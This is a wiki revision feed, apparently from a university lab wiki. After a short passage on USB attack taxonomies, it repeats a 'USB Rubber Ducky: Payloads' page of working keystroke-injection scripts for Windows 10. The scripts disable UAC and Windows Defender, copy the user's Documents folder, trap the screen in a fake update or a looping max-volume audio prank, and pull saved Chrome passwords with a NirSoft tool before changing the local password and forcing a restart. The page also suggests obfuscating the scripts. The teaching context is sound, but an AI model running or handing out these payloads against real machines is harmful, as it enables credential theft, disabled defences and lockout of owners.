* &amp;quot;USB Peripheral (keyboard, mouse, storage, smartphone, speaker, camera)&amp;quot;, were some devices underwent malicious firmware modification, and/or&lt;br /&gt;
* &amp;quot;Persona of USB Connected Microcontroller (keyboard, mouse, storage, smartphone, speaker, network adapter, cable)&amp;quot;, refering to the type of device emulated by a USB connected programmable microcontroller, often disguised by an external casing of an innocuous USB device&lt;br /&gt;
&lt;br /&gt;
The table made visible, that the peripheral by which more than 51% of the 29 attacks can be carried out is the USB storage device, followed by the keyboard device and microcontrollers that impersonate a keyboard.&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on attack characteristics ===&lt;br /&gt;
&lt;br /&gt;
2019 Mamchenko and Sabanov collected already existing taxonomy, based on general cyberthreat models, some of them including USB, see Fig.3.&lt;br /&gt;
[[File:Machenko.jpg|500px|thumb|center|Fig.3: Analyzed cyberattacks and USB-based attacks taxonomies by Mamchenko and Sabanov (2019)]]&lt;br /&gt;
&lt;br /&gt;
Based on the collection they created a more complete, enhanced taxonomy. Other than the taxonomy in Nissim et.al., each category reflects one way of categorizing a certain attack within that given category. It is listed as follows:&amp;lt;br /&amp;gt;&lt;br /&gt;
Attack:&lt;br /&gt;
&amp;lt;div style=&amp;quot;columns: 3;&amp;gt;&lt;br /&gt;
# Source of Threat&lt;br /&gt;
## outsider threats;&lt;br /&gt;
## insider threats.&lt;br /&gt;
# Level of Complexity&lt;br /&gt;
## no special training required;&lt;br /&gt;
## of intermediate complexity;&lt;br /&gt;
## complex.&lt;br /&gt;
# Level of Secrecy&lt;br /&gt;
## very hard to be detected;&lt;br /&gt;
## covert;&lt;br /&gt;
## not-to-be-hidden.&lt;br /&gt;
# Attack Mechanism&lt;br /&gt;
## code injection;&lt;br /&gt;
## data extraction;&lt;br /&gt;
## protocol masquerading;&lt;br /&gt;
## protocol corruption&lt;br /&gt;
## signal eavesdropping;&lt;br /&gt;
## signal injection.&lt;br /&gt;
# Object of Impact&lt;br /&gt;
## operation systems and system software/drivers;&lt;br /&gt;
## servers;&lt;br /&gt;
## hardware;&lt;br /&gt;
## applications;&lt;br /&gt;
## mobile technology devices;&lt;br /&gt;
## user data;&lt;br /&gt;
## networks.&lt;br /&gt;
# Adversary Intensions&lt;br /&gt;
## to steal data;&lt;br /&gt;
## to modify data;&lt;br /&gt;
## to delete information;&lt;br /&gt;
## to destroy hardware;&lt;br /&gt;
## to gain access to system resources;&lt;br /&gt;
## to cause malfunctions/DOS.&lt;br /&gt;
# Impact Layer&lt;br /&gt;
## human;&lt;br /&gt;
## application;&lt;br /&gt;
## transport;&lt;br /&gt;
## physical.&lt;br /&gt;
# Assets&lt;br /&gt;
## programmable microcontrollers;&lt;br /&gt;
## maliciously reprogrammed peripherals;&lt;br /&gt;
## not re-programmed peripherals;&lt;br /&gt;
## electrical devices;&lt;br /&gt;
## special hardware;&lt;br /&gt;
## malicious programs.&lt;br /&gt;
# Actions&lt;br /&gt;
## probe;&lt;br /&gt;
## scan;&lt;br /&gt;
## flood;&lt;br /&gt;
## authenticate;&lt;br /&gt;
## bypass;&lt;br /&gt;
## spoof;&lt;br /&gt;
## read;&lt;br /&gt;
## copy;&lt;br /&gt;
## steal;&lt;br /&gt;
## modfy;&lt;br /&gt;
## delete;&lt;br /&gt;
## destroy hardware;&lt;br /&gt;
## eavesdrop;&lt;br /&gt;
## cause malfunction/DOS.&lt;br /&gt;
#Severity of Consequences&lt;br /&gt;
## disastrous effects;&lt;br /&gt;
## severe;&lt;br /&gt;
## intermedeate severity;&lt;br /&gt;
## irresponsible.&lt;br /&gt;
# Type of Damage from Attack&lt;br /&gt;
## physical;&lt;br /&gt;
## psychological;&lt;br /&gt;
## economic;&lt;br /&gt;
## political;&lt;br /&gt;
## reputational.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* Chengzhi Sun, Jiyu Lu, and Yunqing Liu. Analysis and prevention of information security of usb. In 2021 International Conference on Electronic Information Engineering and Computer Science (EIECS), pages 25–32, 2021.&lt;br /&gt;
* Jianming Fu, Jianwei Huang, and Lanxin Zhang. Curtain: Keep your hosts away from usb attacks. In Phong Q. Nguyen and Jianying Zhou, editors, Information Security, pages 455–471, Cham, 2017. Springer International Publishing.&lt;br /&gt;
* Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019.&lt;br /&gt;
* Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017.&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Payloads&amp;diff=17051</id>
		<title>USB Rubber Ducky: Payloads</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Payloads&amp;diff=17051"/>
		<updated>2024-12-12T21:16:29Z</updated>

		<summary type="html">&lt;p&gt;TLee: /* Chrome browser data exfiltration and changing the machine’s local users password */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
In this documentation we will show you examples for the usage of the USB Rubber Ducky on Windows 10 hosts.&lt;br /&gt;
There are many of ready-made Ducky Scripts found at:&lt;br /&gt;
* https://ducktoolkit.com/&lt;br /&gt;
* https://github.com/hak5/usbrubberducky-payloads&lt;br /&gt;
wayback: http://web.archive.org/web/20220421035128/https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Flashing-ducky#DuckyFlasher_Utility&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Article on the basics of the device: [[Hak5 Rubber Ducky]]&lt;br /&gt;
* If you need a different Rubber Ducky Firmware follow this guide: [[USB Rubber Ducky – Firmware Update]].&lt;br /&gt;
* [https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-tm-quick-reference Ducky Script Quick Reference].&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
All scripts have a DELAY 3000 at the start which means a delay of 30000ms / 30s to make sure that the target PC has time to set up the HID driver. The delays needed can vary, depending on the target host. The start delay can potentially be reduced to DELAY 1000.&lt;br /&gt;
The scripts could be further improved by adding obfuscation methods to the code. Terminal windows can be changed in colour and size to make them less obvious and much harder to read. USB Rubber Ducky can also be used to play harmless pranks on your colleagues and friends. Just be sure to clue them in beforehand and don’t let them panic.&lt;br /&gt;
&lt;br /&gt;
=== Hello World! ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
Like in all programming languages a basic hello world can be used to get to know the basic functionalities of the system. The following code is used to make a Windows PC open notepad, write “Hello World!” in large letters and save the file to the default directory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 2000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING c:\windows\notepad.exe&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
ALT o&lt;br /&gt;
STRING f&lt;br /&gt;
TAB&lt;br /&gt;
TAB&lt;br /&gt;
STRING 100&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Hello World!&lt;br /&gt;
CTRL s&lt;br /&gt;
STRING totallynotavirus.txt&lt;br /&gt;
ENTER&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Disable Windows Defender ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script is used to disable Windows User Account Control first and then disable all functionalities of the Windows Defender. This could be potentially used to prepare for a second stage of a multi-stage attack. It makes heavy use of menu navigation (Arrow keys, Tabs) and the Windows 10 Search menu. The value of the DELAY commands could be further reduced if used on a fast target host. Note that the script leaves no open windows after concluding its actions.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
REM Disabling User Account Control&lt;br /&gt;
CTRL ESC&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING uac&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFT&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFT&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
REM Disabling Windows Defender&lt;br /&gt;
CTRL ESC&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING virus pro&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
ALT F4	&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Copy Documents Folder to Ducky ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Twin Duck&lt;br /&gt;
&lt;br /&gt;
Before using this script, the USB Rubber Ducky must be updated with the Twin Duck firmware. Using this firmware, the Rubber Ducky acts both as a HID keyboard and a USB storage device. The script uses the Windows &#039;&#039;Run&#039;&#039; application to open the &#039;&#039;Documents&#039;&#039; directory and copies all its contents to the storage portion of the Ducky. Note that this script assumes that the storage device will be assigned the drive letter D and must be adjusted if reconnaissance shows another letter would be more likely. The script ends with locking the screen to better hide the copying process.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 300&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 100&lt;br /&gt;
STRING documents&lt;br /&gt;
DELAY 100&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL a&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL c&lt;br /&gt;
DELAY 100&lt;br /&gt;
ALT F4&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 300&lt;br /&gt;
STRING d:\&lt;br /&gt;
DELAY 100&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL v&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI D&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI l&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fake Update Screen ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script launches a website that fakes the Windows update screen in the systems default internet browser and sets it to Fullscreen mode. It can’t be easily exited by hitting the Escape-key and hitting the Enter-key results in a fake bluescreen.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 200&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING https://www.fakeupdate.net/win10ue/&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
F11&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Maximum Volume Autoplay Audio ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script showcases how Ducky Script can use the console to create Visual Basic Script files (*.vbs) that can be used to create endless loops of code. It uses the command &amp;lt;code&amp;gt;copy con&amp;lt;/code&amp;gt; to create two script files. The first script file is used to create a Windows Media Player object to play a sound file from start to finish from a provided online source. The second script creates a Windows Script Host Shell object that gives the “Volume Up”-command in an endless loop. The only way to end these scripts is by using the task manager or by restarting the system.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 200&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING cmd&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING del %tmp%\rickyou.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING del %tmp%\volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING cd %tmp% &amp;amp;&amp;amp; copy con rickyou.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING While true&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Dim oPlayer&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Set oPlayer = CreateObject(&amp;quot;WMPlayer.OCX&amp;quot;)&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.URL = &amp;quot;http://tinyurl.com/s63ve48&amp;quot;&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.controls.play&lt;br /&gt;
ENTER&lt;br /&gt;
STRING While oPlayer.playState &amp;lt;&amp;gt; 1 &#039; 1 = Stopped&lt;br /&gt;
ENTER&lt;br /&gt;
STRING WScript.Sleep 100&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Wend&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.close&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Wend&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL z&lt;br /&gt;
ENTER&lt;br /&gt;
STRING copy con volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING do&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Set WshShell = CreateObject(&amp;quot;WScript.Shell&amp;quot;)&lt;br /&gt;
ENTER&lt;br /&gt;
STRING WshShell.SendKeys(chr(&amp;amp;hAF))&lt;br /&gt;
ENTER&lt;br /&gt;
STRING loop&lt;br /&gt;
ENTER&lt;br /&gt;
CTRL z&lt;br /&gt;
ENTER&lt;br /&gt;
STRING start rickyou.vbs &amp;amp;&amp;amp; volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Chrome browser data exfiltration and changing the machine’s local users password ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
In this demo the USB Rubber Ducky targets a Windows 10 host, that has a local user with administrative rights.&lt;br /&gt;
In a first step it graps the passwords stored in the Chrome browser’s password manager and outputs it in plaintext in a text file, stored on the local host machine’s download folder. In the second step it changes the host machine’s local user login password and restarts the computer.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Target Host:&#039;&#039;&#039;&lt;br /&gt;
* OS: Windows 10&lt;br /&gt;
* Software: Chrome browser&lt;br /&gt;
* Local user with administrative rights&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Pre-installations:&#039;&#039;&#039;&lt;br /&gt;
* For automated browser navigation with a script:&lt;br /&gt;
* [https://www.selenium.dev/ Selenium]&lt;br /&gt;
* Selenium script file on the host&lt;br /&gt;
* [https://developer.chrome.com/docs/chromedriver/downloads?hl=de Chromedriver], according to the Chrome Browser version on the target host:&lt;br /&gt;
* For file extraction: [https://www.7-zip.org/ 7-zip]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
REM Chrome browser user passwords exfiltration and local user&#039;s password change&lt;br /&gt;
REM 1. Part: Chrome browser user passwords exfiltration&lt;br /&gt;
&lt;br /&gt;
REM Open PowerShell and executing the selenium script&lt;br /&gt;
DELAY 1000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 1000&lt;br /&gt;
STRING powershell -ExecutionPolicy Bypass -File path\to\browsernavigation.ps1&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 20000&lt;br /&gt;
STRING download&lt;br /&gt;
TAB&lt;br /&gt;
STRING nirsoft123!&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
DELAY 8000&lt;br /&gt;
&lt;br /&gt;
DELAY 3000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING powershell&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
&lt;br /&gt;
REM Get the current user&#039;s Downloads folder path&lt;br /&gt;
STRING $DownloadsPath = [System.Environment]::GetFolderPath(&#039;MyDocuments&#039;).Replace(&#039;Documents&#039;, &#039;Downloads&#039;)&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
&lt;br /&gt;
REM Unzip ChromePass file&lt;br /&gt;
STRING &amp;amp; &amp;quot;pathto\7-Zip\7z.exe&amp;quot; x &amp;quot;$DownloadsPath\passreccommandline.zip&amp;quot; -o&amp;quot;$DownloadsPath&amp;quot;&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
STRING nirsoft123!&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
&lt;br /&gt;
REM Execute ChromePassCLI and save the extracted passwords in the Downloads folder&lt;br /&gt;
STRING Start-Process -FilePath &amp;quot;$DownloadsPath\WebBrowserPassView.exe&amp;quot; -ArgumentList &amp;quot;/stext $DownloadsPath\chrome_passwords.txt&amp;quot; -NoNewWindow -Wait&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 3000&lt;br /&gt;
&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
REM 2. Part: Change the password of the Windows user&lt;br /&gt;
DEFINE #NEW_PASSWORD newpassword&lt;br /&gt;
&lt;br /&gt;
REM Execute Powershell with administrative rights&lt;br /&gt;
DELAY 1000&lt;br /&gt;
GUI x&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING a&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFTARROW&lt;br /&gt;
DELAY 500&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
DELAY 3000&lt;br /&gt;
STRING net user $env:USERNAME #NEW_PASSWORD&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 2000&lt;br /&gt;
&lt;br /&gt;
STRING Restart-Computer -Force&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Selenium script: browsernavigation.ps1&lt;br /&gt;
&lt;br /&gt;
The server prevents a direct download via link. The selenium script imitates an actual user, clicking on the link and inputting user credentials for download.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Load Selenium Modul&lt;br /&gt;
Import-Module Selenium&lt;br /&gt;
&lt;br /&gt;
# Start Driver&lt;br /&gt;
$chromePath = &amp;quot;C:\Program Files\Google\Chrome\Application\chrome.exe&amp;quot; &lt;br /&gt;
&lt;br /&gt;
# Set up Chrome options&lt;br /&gt;
$chromeOptions = New-Object OpenQA.Selenium.Chrome.ChromeOptions&lt;br /&gt;
$chromeOptions.BinaryLocation = $chromePath&lt;br /&gt;
&lt;br /&gt;
# Define path to new ChromeDriver&lt;br /&gt;
$chromeDriverPath = &amp;quot;C:\Users\User\Downloads\chromedriver-win64\chromedriver-win64&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Set up ChromeDriverService to use updated ChromeDriver&lt;br /&gt;
$service = [OpenQA.Selenium.Chrome.ChromeDriverService]::CreateDefaultService($chromeDriverPath)&lt;br /&gt;
&lt;br /&gt;
# Start ChromeDriver&lt;br /&gt;
$driver = New-Object OpenQA.Selenium.Chrome.ChromeDriver($service, $chromeOptions)&lt;br /&gt;
&lt;br /&gt;
# Navigate to NirSoft&lt;br /&gt;
$driver.Navigate().GoToUrl(&amp;quot;https://www.nirsoft.net/password_recovery_tools.html&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Ensuring interaction with the main content for consent-button&lt;br /&gt;
$driver.SwitchTo().DefaultContent()&lt;br /&gt;
&lt;br /&gt;
# Locate the consent button by its class and text (&#039;Einwilligen&#039;)&lt;br /&gt;
$button = $driver.FindElementByXPath(&amp;quot;//button[contains(@class, &#039;fc-button fc-cta-consent fc-primary-button&#039;) and contains(., &#039;Einwilligen&#039;)]&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Click the button if found&lt;br /&gt;
if ($button -ne $null) {&lt;br /&gt;
    $button.Click()&lt;br /&gt;
    Write-Host &amp;quot;Consent button clicked.&amp;quot;&lt;br /&gt;
} else {&lt;br /&gt;
    Write-Host &amp;quot;No consent needed.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# Click link&lt;br /&gt;
$link = $driver.FindElementByLinkText(&amp;quot;this download link&amp;quot;)&lt;br /&gt;
$link.Click()&lt;br /&gt;
&lt;br /&gt;
Start-Sleep -Seconds 1&lt;br /&gt;
&lt;br /&gt;
# Switch to the iframe containing the google ad&lt;br /&gt;
try {&lt;br /&gt;
    $iframe = $driver.FindElementById(&amp;quot;aswift_3&amp;quot;)&lt;br /&gt;
    $driver.SwitchTo().Frame($iframe)&lt;br /&gt;
    Write-Host &amp;quot;Switched to the iframe.&amp;quot;&lt;br /&gt;
} catch {&lt;br /&gt;
    Write-Host &amp;quot;Iframe not found.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# Click dismiss-button&lt;br /&gt;
try {&lt;br /&gt;
    $dismissButton = $driver.FindElementByXPath(&amp;quot;//div[@id=&#039;dismiss-button&#039;]&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    if ($dismissButton -ne $null -and $dismissButton.Displayed) {&lt;br /&gt;
        $dismissButton.Click()&lt;br /&gt;
        Write-Host &amp;quot;Dismissed clicked&amp;quot;&lt;br /&gt;
    } else {&lt;br /&gt;
        Write-Host &amp;quot;Dismiss button exists but is not visible.&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
} catch {&lt;br /&gt;
    Write-Host &amp;quot;Ad dismiss button did not appear.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Note: Even with the level bar of the Windows User Account Control setting no the hightest option “Always notify”, the the changes will be applied straight forward, without extra notification or password requests.&lt;br /&gt;
&lt;br /&gt;
References:&lt;br /&gt;
* [https://docs.hak5.org/hak5-usb-rubber-ducky Rubber Ducky Documentation]&lt;br /&gt;
* [https://github.com/hak5/usbrubberducky-payloads/tree/master/payloads/library/execution/Change_the_password_of_the_windows_user Change the password of Windows User Attack]&lt;br /&gt;
* [https://www.nirsoft.net/ Nirsoft password recovery tool]&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* USB Rubber Ducky&lt;br /&gt;
* Windows 10 PC&lt;br /&gt;
* Ubuntu Linux 20.04 Virtual Machine&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [[Hak5 Rubber Ducky]]&lt;br /&gt;
* [[USB Rubber Ducky: Firmware Update]]&lt;br /&gt;
* https://ducktoolkit.com/&lt;br /&gt;
* https://shop.hak5.org/products/usb-rubber-ducky-deluxe&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Payloads&amp;diff=17050</id>
		<title>USB Rubber Ducky: Payloads</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Payloads&amp;diff=17050"/>
		<updated>2024-12-12T21:16:13Z</updated>

		<summary type="html">&lt;p&gt;TLee: /* Chrome browser data exfiltration and changing the machine’s local users password */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
In this documentation we will show you examples for the usage of the USB Rubber Ducky on Windows 10 hosts.&lt;br /&gt;
There are many of ready-made Ducky Scripts found at:&lt;br /&gt;
* https://ducktoolkit.com/&lt;br /&gt;
* https://github.com/hak5/usbrubberducky-payloads&lt;br /&gt;
wayback: http://web.archive.org/web/20220421035128/https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Flashing-ducky#DuckyFlasher_Utility&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Article on the basics of the device: [[Hak5 Rubber Ducky]]&lt;br /&gt;
* If you need a different Rubber Ducky Firmware follow this guide: [[USB Rubber Ducky – Firmware Update]].&lt;br /&gt;
* [https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-tm-quick-reference Ducky Script Quick Reference].&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
All scripts have a DELAY 3000 at the start which means a delay of 30000ms / 30s to make sure that the target PC has time to set up the HID driver. The delays needed can vary, depending on the target host. The start delay can potentially be reduced to DELAY 1000.&lt;br /&gt;
The scripts could be further improved by adding obfuscation methods to the code. Terminal windows can be changed in colour and size to make them less obvious and much harder to read. USB Rubber Ducky can also be used to play harmless pranks on your colleagues and friends. Just be sure to clue them in beforehand and don’t let them panic.&lt;br /&gt;
&lt;br /&gt;
=== Hello World! ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
Like in all programming languages a basic hello world can be used to get to know the basic functionalities of the system. The following code is used to make a Windows PC open notepad, write “Hello World!” in large letters and save the file to the default directory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 2000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING c:\windows\notepad.exe&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
ALT o&lt;br /&gt;
STRING f&lt;br /&gt;
TAB&lt;br /&gt;
TAB&lt;br /&gt;
STRING 100&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Hello World!&lt;br /&gt;
CTRL s&lt;br /&gt;
STRING totallynotavirus.txt&lt;br /&gt;
ENTER&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Disable Windows Defender ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script is used to disable Windows User Account Control first and then disable all functionalities of the Windows Defender. This could be potentially used to prepare for a second stage of a multi-stage attack. It makes heavy use of menu navigation (Arrow keys, Tabs) and the Windows 10 Search menu. The value of the DELAY commands could be further reduced if used on a fast target host. Note that the script leaves no open windows after concluding its actions.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
REM Disabling User Account Control&lt;br /&gt;
CTRL ESC&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING uac&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFT&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFT&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
REM Disabling Windows Defender&lt;br /&gt;
CTRL ESC&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING virus pro&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
